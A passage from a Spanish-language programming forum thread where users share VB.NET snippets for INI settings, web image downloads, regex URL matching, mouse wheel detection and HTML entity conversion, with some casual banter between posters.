  10.    Private Function Color_To_Hex(ByVal Color As Color) As String
  11.        Return ("0x" & Hex(Color.R) & Hex(Color.G) & Hex(Color.B))
  12.    End Function
  13.  
  14. #End Region



Guardar configuración en archivo INI

Código
  1.       ' By Elektro H@cker
  2.       '
  3.       ' Example content of Test.ini:
  4.       '
  5.       ' File=C:\File.txt
  6.       ' SaveFile=True
  7.  
  8.       Dim INI_File As String = ".\Test.ini"
  9.  
  10.    ' Save INI Settings
  11.    Private Sub Save_INI_Settings()
  12.  
  13.        Dim Current_Settings As String = _
  14.            "File=" & TextBox_file.Text & Environment.NewLine & _
  15.            "SaveFile=" & CheckBox_SaveFile.Checked
  16.  
  17.        My.Computer.FileSystem.WriteAllText(INI_File, Current_Settings, False)
  18.  
  19.    End Sub



Descargar imágen web

Código
  1. #Region " Get Url Image Function "
  2.  
  3.    ' [ Get Url Image Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' PictureBox1.Image = Get_URL_Image("http://www.google.com/recaptcha/static/images/smallCaptchaSpaceWithRoughAlpha.png")
  10.  
  11.    Public Function Get_URL_Image(ByVal URL As String) As System.Drawing.Bitmap
  12.        Try
  13.            Return New System.Drawing.Bitmap(New IO.MemoryStream(New System.Net.WebClient().DownloadData(URL)))
  14.        Catch ex As Exception
  15.          MsgBox(ex.Message)
  16.          Return Nothing
  17.        End Try
  18.    End Function
  19.  
  20. #End Region



Cargar configuración desde archivo INI
(Este snippet es una versión mejorada del otro que posteé)

Código
  1.       ' By Elektro H@cker
  2.       '
  3.       ' Example content of Test.ini:
  4.       '
  5.       ' File=C:\File.txt
  6.       ' SaveFile=True
  7.  
  8.       Dim INI_File As String = ".\Test.ini"
  9.  
  10.       ' Load INI Settings
  11.       Private Sub Load_INI_Settings()
  12.  
  13.           Dim xRead As IO.StreamReader = IO.File.OpenText(INI_File)
  14.           Dim Line As String = String.Empty
  15.           Dim Delimiter As String = "="
  16.           Dim ValueName As String = String.Empty
  17.           Dim Value As Object
  18.  
  19.           Do Until xRead.EndOfStream
  20.  
  21.               Line = xRead.ReadLine().ToLower
  22.               ValueName = Line.Split(Delimiter).First
  23.               Value = Line.Split(Delimiter).Last
  24.  
  25.               Select Case ValueName.ToLower
  26.                   Case "File".ToLower : TextBox_File.Text = Value
  27.                   Case "SaveFile".ToLower : CheckBox_SaveFile.Checked()
  28.               End Select
  29.  
  30.               Application.DoEvents()
  31.  
  32.           Loop
  33.  
  34.           xRead.Close() : xRead.Dispose()
  35.  
  36.       End Sub



Obtener respuesta http

Código
  1. #Region " Get Http Response "
  2.  
  3.    ' [ Validate URL Function ]
  4.    '
  5.    ' Examples :
  6.    '
  7.    ' Dim Response As System.Net.HttpWebResponse = Get_Http_Response(System.Net.HttpWebRequest.Create("http://www.google.com/StatusCode404"))
  8.    ' If Response.StatusCode = System.Net.HttpStatusCode.NotFound Then MsgBox("Error 404")
  9.  
  10.    Public Shared Function Get_Http_Response(request As System.Net.HttpWebRequest) As System.Net.HttpWebResponse
  11.        Try : Return DirectCast(request.GetResponse(), System.Net.HttpWebResponse)
  12.        Catch ex As System.Net.WebException
  13.            If ex.Response Is Nothing OrElse ex.Status <> System.Net.WebExceptionStatus.ProtocolError Then Throw
  14.            Return DirectCast(ex.Response, System.Net.HttpWebResponse)
  15.        End Try
  16.    End Function
  17.  
  18. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 31 Mayo 2013, 09:27 am
Cancelar el evento OnMove

Código
  1.    #Region " Cancel Move Form "
  2.  
  3.       ' Examples:
  4.       ' Me.Moveable = False
  5.       ' Me.Moveable = True
  6.  
  7.       Private Declare Function EnableMenuItem Lib "user32.dll" Alias "EnableMenuItem" (ByVal hMenu As IntPtr, ByVal uIDEnableItem As Int32, ByVal uEnable As Int32) As Int32
  8.  
  9.       Private bMoveable As Boolean = True
  10.  
  11.       Public Overridable Property Moveable() As Boolean
  12.           Get
  13.               Return bMoveable
  14.           End Get
  15.           Set(ByVal Value As Boolean)
  16.               If bMoveable <> Value Then
  17.                   bMoveable = Value
  18.               End If
  19.           End Set
  20.       End Property
  21.  
  22.       Protected Overrides Sub WndProc(ByRef m As Message)
  23.  
  24.           If m.Msg = &H117& Then
  25.               'Handles popup of system menu.
  26.               If m.LParam.ToInt32 \ 65536 <> 0 Then 'divide by 65536 to get hiword.
  27.                   Dim AbleFlags As Int32 = &H0&
  28.                   If Not Moveable Then AbleFlags = &H2& Or &H1&
  29.                   EnableMenuItem(m.WParam, &HF010&, &H0& Or AbleFlags)
  30.               End If
  31.           End If
  32.  
  33.           If Not Moveable Then
  34.               'Cancels any attempt to drag the window by it's caption.
  35.               If m.Msg = &HA1 Then If m.WParam.ToInt32 = &H2 Then Return
  36.               'Redundant but cancels any clicks on the Move system menu item.
  37.               If m.Msg = &H112 Then If (m.WParam.ToInt32 And &HFFF0) = &HF010& Then Return
  38.           End If
  39.  
  40.           'Return control to base message handler.
  41.           MyBase.WndProc(m)
  42.  
  43.       End Sub
  44.  
  45.    #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 31 Mayo 2013, 13:27 pm
Una función para devolver una lista con todas las coincidencias de un RegEx:

Código
  1. #Region " RegEx Matches To List "
  2.  
  3.    ' [ RegEx Matches To List Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Dim str As String = "<span class=""genres""><a href=""http://www.mp3crank.com/genre/alternative"" rel=""tag"">Alternative</a> / <a href=""http://www.mp3crank.com/genre/indie"" rel=""tag"">Indie</a> / <a href=""http://www.mp3crank.com/genre/rock"" rel=""tag"">Rock</a></span>"
  9.    ' For Each match In RegEx_Matches_To_List(str, <a><![CDATA[tag">(\w+)<]]></a>.Value) : MsgBox(match) : Next
  10.  
  11.    Private Function RegEx_Matches_To_List(ByVal str As String, ByVal RegEx_Pattern As String) As List(Of String)
  12.  
  13.        Dim match As System.Text.RegularExpressions.Match = System.Text.RegularExpressions.Regex.Match(str, RegEx_Pattern)
  14.        Dim Match_List As New List(Of String)
  15.  
  16.        Do While match.Success
  17.            Match_List.Add(match.Groups(1).ToString)
  18.            match = match.NextMatch()
  19.            Application.DoEvents()
  20.        Loop
  21.  
  22.        Return Match_List
  23.  
  24.    End Function
  25.  
  26. #End Region





Unas cuantas expresiones regulares que he escrito para facilitar algunas taréas:

Código
  1.  
  2.    ' Dim str As String = <a><![CDATA[<href="http://www.mp3crank.com/feed"]]></a>.Value
  3.    ' MsgBox(Match_RegEx_MainBase_Url(Str)) ' Result: http://www.mp3crank.com
  4.  
  5.    Private Function Match_RegEx_MainBase_Url(ByVal str As String) As String
  6.  
  7.        ' Match criteria:
  8.        '
  9.        ' http://url.domain
  10.        ' https://url.domain
  11.        ' www.url.domain
  12.  
  13.        Dim RegEx As New System.Text.RegularExpressions.Regex( _
  14.        <a><![CDATA[(http://|https://|www).+\.[0-9A-z]]]></a>.Value)
  15.  
  16.        Return RegEx.Match(str).Groups(0).ToString
  17.    End Function

Código
  1.  
  2.    ' Dim str As String = <a><![CDATA[<href="http://www.mp3crank.com/feed"]]></a>.Value
  3.    ' MsgBox(Match_RegEx_Url(str)) ' Result: http://www.mp3crank.com/feed
  4.  
  5.    Private Function Match_RegEx_Url(ByVal str As String) As String
  6.  
  7.        ' Match criteria:
  8.        '
  9.        ' http://url
  10.        ' https://url
  11.        ' www.url
  12.  
  13.        Dim RegEx As New System.Text.RegularExpressions.Regex( _
  14.        <a><![CDATA[(http://|https://|www).+\b]]></a>.Value)
  15.  
  16.        Return RegEx.Match(str).Groups(0).ToString
  17.    End Function

Código
  1.  
  2.    ' Dim str As String = <a><![CDATA[href="http://www.mp3crank.com/the-rolling-stones/deluxe-edition.htm"]]></a>.Value
  3.    ' MsgBox(Match_RegEx_htm_html(str)) ' Result: http://www.mp3crank.com/the-rolling-stones/deluxe-edition.htm
  4.  
  5.    Private Function Match_RegEx_htm_html(ByVal str As String) As String
  6.  
  7.        ' Match criteria:
  8.        '
  9.        ' http://Text.htm
  10.        ' http://Text.html
  11.        ' https://Text.htm
  12.        ' https://Text.html
  13.        ' www.Text.htm
  14.        ' www.Text.html
  15.  
  16.        Dim RegEx As New System.Text.RegularExpressions.Regex( _
  17.        <a><![CDATA[(http://|https://|www).*\.html?]]></a>.Value)
  18.  
  19.        Return RegEx.Match(str).Groups(0).ToString
  20.    End Function

Código
  1.  
  2.    ' Dim str As String = <a><![CDATA[href=>Drifter - In Search of Something More [EP] (2013)</a>]]></a>.Value
  3.    ' MsgBox(Match_RegEx_Tag(str)) ' Result: Drifter - In Search of Something More [EP] (2013)
  4.  
  5.    Private Function Match_RegEx_Tag(ByVal str As String) As String
  6.  
  7.        ' Match criteria:
  8.        '
  9.        ' >..Text..<
  10.  
  11.        Dim RegEx As New System.Text.RegularExpressions.Regex( _
  12.        <a><![CDATA[>([^<]+?)<]]></a>.Value)
  13.  
  14.        Return RegEx.Match(str).Groups(1).ToString
  15.    End Function


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 31 Mayo 2013, 15:08 pm
Deberías poner mi code para que cambien las imagenes al pasar el mouse...

Tengo otro code, que adapta una imagen al fondo del Form... (Es decir si el form es de 800x600 y la imagen 1024x768 se redimensiona automaticamente)

Un saludo.

Te paso los codes?  ;)


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 31 Mayo 2013, 16:26 pm
Deberías poner mi code para que cambien las imagenes al pasar el mouse...

Puedes colaborar publicando tus códigos aquí, yo publico solo lo mio, o lo que encuentro por ahí en zonas prohibidas de la red xD.
Eres libre de publicar aquí tus snippets.

Tengo otro code, que adapta una imagen al fondo del Form... (Es decir si el form es de 800x600 y la imagen 1024x768 se redimensiona automaticamente)

Miedo me da ese código, no sé si querrás publicar eso, te lo digo más que nada porque no le veo sentido ni utilidad cuando existe una propiedad para redimensionar la imágen:
Código:
Me.BackgroundImageLayout = ImageLayout.Stretch

Saludos!


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 31 Mayo 2013, 16:28 pm
Miedo me da ese código, no sé si querrás publicar eso, te lo digo más que nada porque no le veo sentido ni utilidad cuando existe una propiedad para redimensionar la imágen:
Código:
Me.BackgroundImageLayout = ImageLayout.Stretch

Seriusly? xD Y yo buscando como un negro 20000 código por Interné...


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 31 Mayo 2013, 16:33 pm
Seriusly? xD Y yo buscando como un negro 20000 código por Interné...

Claro, si alguna vez me hicieras caso y leyeras el nombre y la descripción de cada propiedad, ni 3 minutos lleva mirarse las propiedades de un Form, aparte de aprender un poco más no perderías tiempo buscando códigos tontos.
...Pero lo que me hace gracia es que alguien haya gastado tiempo escribiendo ese código que comentas, me imagino que también lo habrá escrito sin saber que existia dicha propiedad, el colmo xD.

En fín, publica lo que quieras de todas formas he?, pa eso está esta sección.

saludos


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 31 Mayo 2013, 16:47 pm
Pos yasta aquí están los codes  :rolleyes:

Cambiar imagen al pasar el Mouse en VB.NET (Google indexando) :laugh:

Cita de: Seazoux
Código
  1.    Private Sub picMini_MouseEnter(sender As Object, e As EventArgs) Handles picMini.MouseEnter
  2.        sender.Image = Mini_Off
  3.    End Sub
  4.  
  5.    Private Sub picMini_MouseLeave(sender As Object, e As EventArgs) Handles picMini.MouseLeave
  6.        sender.Image = Mini_On
  7.    End Sub

Código
  1.    Private Sub frmMain_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  2.        picMini.Image = Mini_On 'Aqui se carga la que se va a mostrar por defecto
  3.        picMini.BackColor = Color.Transparent 'Por si tiene transparencias la imagen

Código
  1.    Dim Mini_Off As Image = Image.FromFile(".\Art\Buttons\Mini_Off.png")
  2.    Dim Mini_On As Image = Image.FromFile(".\Art\Buttons\Mini_On.png")


Adaptar imagen de Fondo al Form VB.NET (Para los que seáis unos negros y no sepáis las propiedades un Form como yo :laugh: :laugh: )

Código
  1.  
  2.    Dim Fondo As Image = Image.FromFile(".\Art\fondo.jpg")
  3.  
  4.        Dim ancho As String = Me.Width
  5.        Dim alto As String = Me.Height
  6.  
  7. Dim bm_source As Bitmap = New Bitmap(Fondo)
  8.        Dim bm_dest As New Bitmap(CInt(ancho), CInt(alto))
  9.        Dim gr_dest As Graphics = Graphics.FromImage(bm_dest)  
  10.        gr_dest.DrawImage(bm_source, 0, 0, bm_dest.Width + 1, bm_dest.Height + 1)
  11.        Me.BackgroundImage = bm_dest

Un saludo.  ;D


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 31 Mayo 2013, 16:58 pm
[FastColoredTextBox] Scroll Text

Scrollea hasta el final del texto y posiciona el cursor del teclado en el último caracter.

PD: Se requiere el control extendido FastColoredTextbox.

(http://img96.imageshack.us/img96/6500/captura2sd.png)

Código
  1. #Region " [FastColoredTextBox] Scroll Text "
  2.  
  3.    ' FastColoredTextBox] Scroll Text
  4.    '
  5.    ' // By Elektro H@cker
  6.  
  7.    Private Sub FastColoredTextBox1_TextChanged(sender As Object, e As FastColoredTextBoxNS.TextChangedEventArgs) _
  8.        Handles FastColoredTextBox1.TextChangedDelayed
  9.  
  10.        sender.ScrollLeft()
  11.        sender.Navigate(sender.Lines.Count - 1) ' Scroll to down
  12.        sender.SelectionStart = sender.Text.Length ' Set the keyboard cursor position
  13.  
  14.    End Sub
  15.  
  16. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 31 Mayo 2013, 19:48 pm
Convierte código Hexadecimal a número Win32Hex

Código
  1. #Region " Hex To Win32Hex "
  2.  
  3.    ' [ Hex To Win32Hex Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples:
  8.    ' MsgBox(Hex_To_Win32Hex("FF4"))   ' Result: &HFF4
  9.    ' MsgBox(Hex_To_Win32Hex("0xFF4")) ' Result: &HFF4
  10.    ' Dim Number As Int32 = Hex_To_Win32Hex("0xFF4") ' Result: 4084
  11.  
  12.    Private Function Hex_To_Win32Hex(ByVal Hex As String) As String
  13.        If Hex.ToLower.StartsWith("0x") Then Hex = Hex.Substring(2, Hex.Length - 2)
  14.        Return "&H" & Hex
  15.    End Function
  16.  
  17. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 31 Mayo 2013, 20:33 pm
- Detect mouse wheel direction.

Comprueba en que dirección se movió la rueda del mouse.

Código
  1.    Private Sub Form_MouseWheel(ByVal sender As Object, ByVal e As MouseEventArgs) Handles MyBase.MouseWheel
  2.  
  3.        Select Case Math.Sign(e.Delta)
  4.            Case Is < 0
  5.                MsgBox("MouseWheel Down")
  6.            Case Is > 0
  7.                MsgBox("MouseWheel Up")
  8.        End Select
  9.  
  10.    End Sub





Comprueba en que dirección se movió la rueda del mouse.
...Lo mismo que antes pero usando los mensajes de Windows:


Código
  1.    Public Shared Mouse_Have_Wheel As Boolean = My.Computer.Mouse.WheelExists
  2.  
  3.    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  4.        Application.AddMessageFilter(New MouseWheelMessageFilter())
  5.    End Sub
  6.  
  7.    Public Class MouseWheelMessageFilter
  8.        Implements IMessageFilter
  9.  
  10.        Public Function PreFilterMessage(ByRef m As Message) As Boolean Implements IMessageFilter.PreFilterMessage
  11.  
  12.            If Mouse_Have_Wheel Then
  13.  
  14.                If m.Msg = &H20A Then
  15.  
  16.                    If Form.ActiveForm IsNot Nothing Then
  17.  
  18.                        Try ' "Try" solves too fast wheeling.
  19.  
  20.                            Dim delta As Integer = m.WParam.ToInt32() >> 16
  21.  
  22.                            If delta > 0 Then
  23.                                MsgBox("MouseWheel Up")
  24.                            Else
  25.                                MsgBox("MouseWheel Down")
  26.                            End If
  27.  
  28.                        Catch : End Try
  29.  
  30.                    End If
  31.  
  32.                    Return True
  33.                End If
  34.  
  35.            End If
  36.  
  37.            Return False
  38.  
  39.        End Function
  40.  
  41.    End Class





Ejemplo de como modificar la fuente de texto actual de un control:

Código
  1. Me.Font = New Font("Lucida Console", 16, FontStyle.Regular, GraphicsUnit.Point)


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 31 Mayo 2013, 20:41 pm
Anda esto me viene bien para mi topic de scroll de imagenes, que casualidad  ;-) :laugh:


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 31 Mayo 2013, 20:53 pm
Anda esto me viene bien para mi topic de scroll de imagenes, que casualidad  ;-) :laugh:

Si no fuese por mi  ::)... espero ver mis créditos xD

Me alegro, Saludos.


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 2 Junio 2013, 08:19 am
Un simple método Get:

Código
  1. #Region " Get Method "
  2.  
  3.    ' [ Get Method Function ]
  4.    '
  5.    ' Examples :
  6.    ' MsgBox(Get_Method("http://translate.google.com/translate_a/t?client=t&text=HelloWorld&sl=en&tl=en")) ' Result: [[["HelloWorld","HelloWorld","",""]],,"en",,,,,,[["en"]],0]
  7.  
  8.    Public Function Get_Method(ByVal URL As String) As String
  9.        Dim webClient As New System.Net.WebClient
  10.        Return webClient.DownloadString(URL)
  11.    End Function
  12.  
  13. #End Region




Convierte un string a entidades html:

Código
  1. #Region " String To Html Entities "
  2.  
  3.    ' [ String To Html Escaped Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(String_To_Html_Entities("www.Goo&gle.com")) ' Result: www.Goo&amp;gle.com
  9.  
  10.    Private Function String_To_Html_Entities(ByVal str As String) As String
  11.  
  12.        str = str.Replace("&", "&amp;") ' Keep this character to be always the first replaced.
  13.        str = str.Replace(ControlChars.Quote, "&quot;")
  14.        str = str.Replace(" ", "&nbsp;")
  15.        str = str.Replace("<", "&lt;")
  16.        str = str.Replace(">", "&gt;")
  17.        str = str.Replace("¡", "&iexcl;")
  18.        str = str.Replace("¢", "&cent;")
  19.        str = str.Replace("£", "&pound;")
  20.        str = str.Replace("¤", "&curren;")
  21.        str = str.Replace("¥", "&yen;")
  22.        str = str.Replace("¦", "&brvbar;")
  23.        str = str.Replace("§", "&sect;")
  24.        str = str.Replace("¨", "&uml;")
  25.        str = str.Replace("©", "&copy;")
  26.        str = str.Replace("ª", "&ordf;")
  27.        str = str.Replace("¬", "&not;")
  28.        str = str.Replace("®", "&reg;")
  29.        str = str.Replace("¯", "&macr;")
  30.        str = str.Replace("°", "&deg;")
  31.        str = str.Replace("±", "&plusmn;")
  32.        str = str.Replace("²", "&sup2;")
  33.        str = str.Replace("³", "&sup3;")
  34.        str = str.Replace("´", "&acute;")
  35.        str = str.Replace("µ", "&micro;")
  36.        str = str.Replace("¶", "&para;")
  37.        str = str.Replace("·", "&middot;")
  38.        str = str.Replace("¸", "&cedil;")
  39.        str = str.Replace("¹", "&sup1;")
  40.        str = str.Replace("º", "&ordm;")
  41.        str = str.Replace("»", "&raquo;")
  42.        str = str.Replace("¼", "&frac14;")
  43.        str = str.Replace("½", "&frac12;")
  44.        str = str.Replace("¾", "&frac34;")
  45.        str = str.Replace("¿", "&iquest;")
  46.        str = str.Replace("×", "&times;")
  47.        str = str.Replace("ß", "&szlig;")
  48.        str = str.Replace("À", "&Agrave;")
  49.        str = str.Replace("à", "&agrave;")
  50.        str = str.Replace("Á", "&Aacute;")
  51.        str = str.Replace("á", "&aacute;")
  52.        str = str.Replace("", "&Acirc;")
  53.        str = str.Replace("â", "&acirc;")
  54.        str = str.Replace("Ã", "&Atilde;")
  55.        str = str.Replace("ã", "&atilde;")
  56.        str = str.Replace("Ä", "&Auml;")
  57.        str = str.Replace("ä", "&auml;")
  58.        str = str.Replace("Å", "&Aring;")
  59.        str = str.Replace("å", "&aring;")
  60.        str = str.Replace("Æ", "&AElig;")
  61.        str = str.Replace("æ", "&aelig;")
  62.        str = str.Replace("ç", "&ccedil;")
  63.        str = str.Replace("Ç", "&Ccedil;")
  64.        str = str.Replace("È", "&Egrave;")
  65.        str = str.Replace("è", "&egrave;")
  66.        str = str.Replace("É", "&Eacute;")
  67.        str = str.Replace("é", "&eacute;")
  68.        str = str.Replace("Ê", "&Ecirc;")
  69.        str = str.Replace("ê", "&ecirc;")
  70.        str = str.Replace("Ë", "&Euml;")
  71.        str = str.Replace("ë", "&euml;")
  72.        str = str.Replace("Ì", "&Igrave;")
  73.        str = str.Replace("ì", "&igrave;")
  74.        str = str.Replace("Í", "&Iacute;")
  75.        str = str.Replace("í", "&iacute;")
  76.        str = str.Replace("Î", "&Icirc;")
  77.        str = str.Replace("î", "&icirc;")
  78.        str = str.Replace("Ï", "&Iuml;")
  79.        str = str.Replace("ï", "&iuml;")
  80.        str = str.Replace("Ð", "&ETH;")
  81.        str = str.Replace("ð", "&eth;")
  82.        str = str.Replace("ñ", "&ntilde;")
  83.        str = str.Replace("Ñ", "&Ntilde;")
  84.        str = str.Replace("Ò", "&Ograve;")
  85.        str = str.Replace("ò", "&ograve;")
  86.        str = str.Replace("Ó", "&Oacute;")
  87.        str = str.Replace("ó", "&oacute;")
  88.        str = str.Replace("Ô", "&Ocirc;")
  89.        str = str.Replace("ô", "&ocirc;")
  90.        str = str.Replace("Õ", "&Otilde;")
  91.        str = str.Replace("õ", "&otilde;")
  92.        str = str.Replace("Ö", "&Ouml;")
  93.        str = str.Replace("ö", "&ouml;")
  94.        str = str.Replace("÷", "&divide;")
  95.        str = str.Replace("Ø", "&Oslash;")
  96.        str = str.Replace("ø", "&oslash;")
  97.        str = str.Replace("Ù", "&Ugrave;")
  98.        str = str.Replace("ù", "&ugrave;")
  99.        str = str.Replace("Ú", "&Uacute;")
  100.        str = str.Replace("ú", "&uacute;")
  101.        str = str.Replace("Û", "&Ucirc;")
  102.        str = str.Replace("û", "&ucirc;")
  103.        str = str.Replace("Ü", "&Uuml;")
  104.        str = str.Replace("ü", "&uuml;")
  105.        str = str.Replace("Ý", "&Yacute;")
  106.        str = str.Replace("ý", "&yacute;")
  107.        str = str.Replace("Þ", "&THORN;")
  108.        str = str.Replace("þ", "&thorn;")
  109.        str = str.Replace("€", "&euro;")
  110.  
  111.        Return str
  112.  
  113.    End Function
  114.  
  115. #End Region





Convierte un string a entidades html codificadas:

Código
  1. #Region " String To Html Escaped Entities "
  2.  
  3.    ' [ String To Html Escaped Entities Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(String_To_Html_Escaped_Entities("Me@Gmail.com")) ' Result: &#38;#77;&#38;#101;&#38;#64;&#38;#71;&#38;#109;&#38;#97;&#38;#105;&#38;#108;&#38;#46;&#38;#99;&#38;#111;&#38;#109;
  9.  
  10.    Public Function String_To_Html_Escaped_Entities(str As String) As String
  11.        Dim sb As New System.Text.StringBuilder(str.Length * 6)
  12.        For Each c As Char In str : sb.Append("&#38;#").Append(CType(AscW(c), UShort)).Append(";"c) : Next
  13.        Return sb.ToString()
  14.    End Function
  15.  
  16. #End Region




Decodifica un string que contenga entidades HTML

Código
  1. #Region " Html Entities To String "
  2.  
  3.    ' [ Html Entities To String Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Html_Entities_To_String("www.Goo&amp;gle.com")) ' Result: Goo&gle.com
  9.  
  10.    Private Function Html_Entities_To_String(ByVal str As String) As String
  11.  
  12.        str = str.Replace("&quot;", ControlChars.Quote)
  13.        str = str.Replace("&amp;", "&")
  14.        str = str.Replace("&nbsp;", "")
  15.        str = str.Replace("&lt;", "<")
  16.        str = str.Replace("&gt;", ">")
  17.        str = str.Replace("&iexcl;", "¡")
  18.        str = str.Replace("&cent;", "¢")
  19.        str = str.Replace("&pound;", "£")
  20.        str = str.Replace("&curren;", "¤")
  21.        str = str.Replace("&yen;", "¥")
  22.        str = str.Replace("&brvbar;", "¦")
  23.        str = str.Replace("&sect;", "§")
  24.        str = str.Replace("&uml;", "¨")
  25.        str = str.Replace("&copy;", "©")
  26.        str = str.Replace("&ordf;", "ª")
  27.        str = str.Replace("&not;", "¬")
  28.        str = str.Replace("&reg;", "®")
  29.        str = str.Replace("&macr;", "¯")
  30.        str = str.Replace("&deg;", "°")
  31.        str = str.Replace("&plusmn;", "±")
  32.        str = str.Replace("&sup2;", "²")
  33.        str = str.Replace("&sup3;", "³")
  34.        str = str.Replace("&acute;", "´")
  35.        str = str.Replace("&micro;", "µ")
  36.        str = str.Replace("&para;", "¶")
  37.        str = str.Replace("&middot;", "·")
  38.        str = str.Replace("&cedil;", "¸")
  39.        str = str.Replace("&sup1;", "¹")
  40.        str = str.Replace("&ordm;", "º")
  41.        str = str.Replace("&raquo;", "»")
  42.        str = str.Replace("&frac14;", "¼")
  43.        str = str.Replace("&frac12;", "½")
  44.        str = str.Replace("&frac34;", "¾")
  45.        str = str.Replace("&iquest;", "¿")
  46.        str = str.Replace("&times;", "×")
  47.        str = str.Replace("&szlig;", "ß")
  48.        str = str.Replace("&Agrave;", "À")
  49.        str = str.Replace("&agrave;", "à")
  50.        str = str.Replace("&Aacute;", "Á")
  51.        str = str.Replace("&aacute;", "á")
  52.        str = str.Replace("&Acirc;", "")
  53.        str = str.Replace("&acirc;", "â")
  54.        str = str.Replace("&Atilde;", "Ã")
  55.        str = str.Replace("&atilde;", "ã")
  56.        str = str.Replace("&Auml;", "Ä")
  57.        str = str.Replace("&auml;", "ä")
  58.        str = str.Replace("&Aring;", "Å")
  59.        str = str.Replace("&aring;", "å")
  60.        str = str.Replace("&AElig;", "Æ")
  61.        str = str.Replace("&aelig;", "æ")
  62.        str = str.Replace("&ccedil;", "ç")
  63.        str = str.Replace("&Ccedil;", "Ç")
  64.        str = str.Replace("&Egrave;", "È")
  65.        str = str.Replace("&egrave;", "è")
  66.        str = str.Replace("&Eacute;", "É")
  67.        str = str.Replace("&eacute;", "é")
  68.        str = str.Replace("&Ecirc;", "Ê")
  69.        str = str.Replace("&ecirc;", "ê")
  70.        str = str.Replace("&Euml;", "Ë")
  71.        str = str.Replace("&euml;", "ë")
  72.        str = str.Replace("&Igrave;", "Ì")
  73.        str = str.Replace("&igrave;", "ì")
  74.        str = str.Replace("&Iacute;", "Í")
  75.        str = str.Replace("&iacute;", "í")
  76.        str = str.Replace("&Icirc;", "Î")
  77.        str = str.Replace("&icirc;", "î")
  78.        str = str.Replace("&Iuml;", "Ï")
  79.        str = str.Replace("&iuml;", "ï")
  80.        str = str.Replace("&ETH;", "Ð")
  81.        str = str.Replace("&eth;", "ð")
  82.        str = str.Replace("&ntilde;", "ñ")
  83.        str = str.Replace("&Ntilde;", "Ñ")
  84.        str = str.Replace("&Ograve;", "Ò")
  85.        str = str.Replace("&ograve;", "ò")
  86.        str = str.Replace("&Oacute;", "Ó")
  87.        str = str.Replace("&oacute;", "ó")
  88.        str = str.Replace("&Ocirc;", "Ô")
  89.        str = str.Replace("&ocirc;", "ô")
  90.        str = str.Replace("&Otilde;", "Õ")
  91.        str = str.Replace("&otilde;", "õ")
  92.        str = str.Replace("&Ouml;", "Ö")
  93.        str = str.Replace("&ouml;", "ö")
  94.        str = str.Replace("&divide;", "÷")
  95.        str = str.Replace("&Oslash;", "Ø")
  96.        str = str.Replace("&oslash;", "ø")
  97.        str = str.Replace("&Ugrave;", "Ù")
  98.        str = str.Replace("&ugrave;", "ù")
  99.        str = str.Replace("&Uacute;", "Ú")
  100.        str = str.Replace("&uacute;", "ú")
  101.        str = str.Replace("&Ucirc;", "Û")
  102.        str = str.Replace("&ucirc;", "û")
  103.        str = str.Replace("&Uuml;", "Ü")
  104.        str = str.Replace("&uuml;", "ü")
  105.        str = str.Replace("&Yacute;", "Ý")
  106.        str = str.Replace("&yacute;", "ý")
  107.        str = str.Replace("&THORN;", "Þ")
  108.        str = str.Replace("&thorn;", "þ")
  109.        str = str.Replace("&euro;", "€")
  110.  
  111.        Return str
  112.  
  113.    End Function
  114.  
  115. #End Region





Decodifica un string codificado en HTML Escaped Entities

Código
  1. #Region " Html Escaped Entities To String "
  2.  
  3.    ' [ Html Escaped Entities To String Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Html_Escaped_Entities_To_String("&#38;#77;&#38;#101;&#38;#64;&#38;#71;&#38;#109;&#38;#97;&#38;#105;&#38;#108;&#38;#46;&#38;#99;&#38;#111;&#38;#109;")) ' Result: Me@Gmail.com
  9.  
  10.   Public Function Html_Escaped_Entities_To_String(str As String) As String
  11.        Dim sb As New System.Text.StringBuilder(str.Length)
  12.        str = str.Replace("&#38;#", "")
  13.        Try : For Each entity In str.Split(";") : sb.Append(Chr(entity)) : Next : Catch : End Try
  14.        Return sb.ToString()
  15.    End Function
  16.  
  17. #End Region




Comprueba si un numero es multiplo de otro

Código
  1.    #Region " Number Is Multiple? "
  2.  
  3.       ' [ Number Is Multiple? Function ]
  4.       '
  5.       ' // By Elektro H@cker
  6.       '
  7.       ' Examples :
  8.       ' MsgBox(Number_Is_Multiple(30, 3)) ' Result: True
  9.       ' MsgBox(Number_Is_Multiple(50, 3)) ' Result: False
  10.  
  11.    Function Number_Is_Multiple(ByVal Number As Int64, ByVal Multiple As Int64) As Boolean
  12.        Return (Number Mod Multiple = 0)
  13.    End Function
  14.  
  15.    #End Region



Comprueba si un numero es divisible por otro

Código
  1.    #Region " Number Is Divisible? "
  2.  
  3.       ' [ Number Is Divisible? Function ]
  4.       '
  5.       ' // By Elektro H@cker
